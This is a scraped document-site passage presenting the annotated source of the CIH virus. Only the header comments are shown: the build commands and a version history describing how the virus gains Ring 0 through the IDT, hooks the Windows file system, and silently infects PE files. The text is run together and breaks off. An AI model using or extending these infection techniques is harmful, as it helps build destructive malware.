CIH源码及中文注释

《CIH源码及中文注释》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。

1、;日期:2002/5/10　　　　　　　　　　　　　　　　　　　　　　　　文章出处:UnKnow;标题:CIH病毒1.4版本之中文注释　作者:邹丹;CIH病毒1.4版本之中文注释由"邹丹"编写完成于1999-4-09;源程序中的英文注释未作修改,全部保留;电子邮件:zd_dan@263.net;个人主页:zdweb.yeah.net;本人所编写之注释仅供研究之用，如作其他用途，概于本人无关！！！;!!!!!!后附精彩后记,敬请留意!!!!!!;***************************************************************

2、*************;*TheVirusProgramInformation*;****************************************************************************;**;*Designer:CIHSource:TTITofTATUNGinTaiwan*;*CreateDate:04/26/1998NowVersion:1.4*;*ModificationTime:05/31/1998*;**;*TurboAssemblerVersion4.0:tasm/mcih*;*TurboLinkVers

3、ion3.01:tlink/3/tcih,cih.exe*;编译连接方法;**;使用的是TurboAssembler;*==========================================================================*;可在BorlandC++3.1中找到;*ModificationHistory*;*==========================================================================*;*v1.01.CreatetheVirusProgram.*;*2

4、.TheVirusModifiesIDTtoGetRing0Privilege.*;*04/26/19983.VirusCodedoesn'tReloadintoSystem.*;*4.CallIFSMgr_InstallFileSystemApiHooktoHookFileSystem.*;*5.ModifiesEntryPointofIFSMgr_InstallFileSystemApiHook.*;*6.WhenSystemOpensExistingPEFile,theFilewillbe*;*Infected,andtheFiledoesn'tbeReinfe

5、cted.*;*7.ItisalsoInfected,eventheFileisRead-Only.*;*8.WhentheFileisInfected,theModificationDateandTime*;*oftheFilealsodon'tbeChanged.*;*9.WhenMyVirusUsesIFSMgr_Ring0_FileIO,itwillnotCall*;*PreviousFileSystemApiHook,itwillCalltheFunction*;*thattheIFSManagerWouldNormallyCalltoImplement*;

6、*thisParticularI/ORequest.*;*10.TheVirusSizeisonly656Bytes.*;*==========================================================================*;*v1.11.Especially,theFilethatbeInfectedwillnotIncrease*;*it'sSize...^__^*;*05/15/19982.HookandModifyStructuredExceptionHanding.*;*WhenExceptionErrorO

7、ccurs,OurOSSystemshouldbein*;*WindowsNT.SoMyCuteViruswillnotContinuetoRun,*;*itwillJmuptoOriginalApplicationtoRun.*;*3.UseBetterAlgorithm,ReduceVirusCodeSize.*;*4.TheVirus"Basic"Sizeisonly796Bytes.*;*==========================================================================*;*v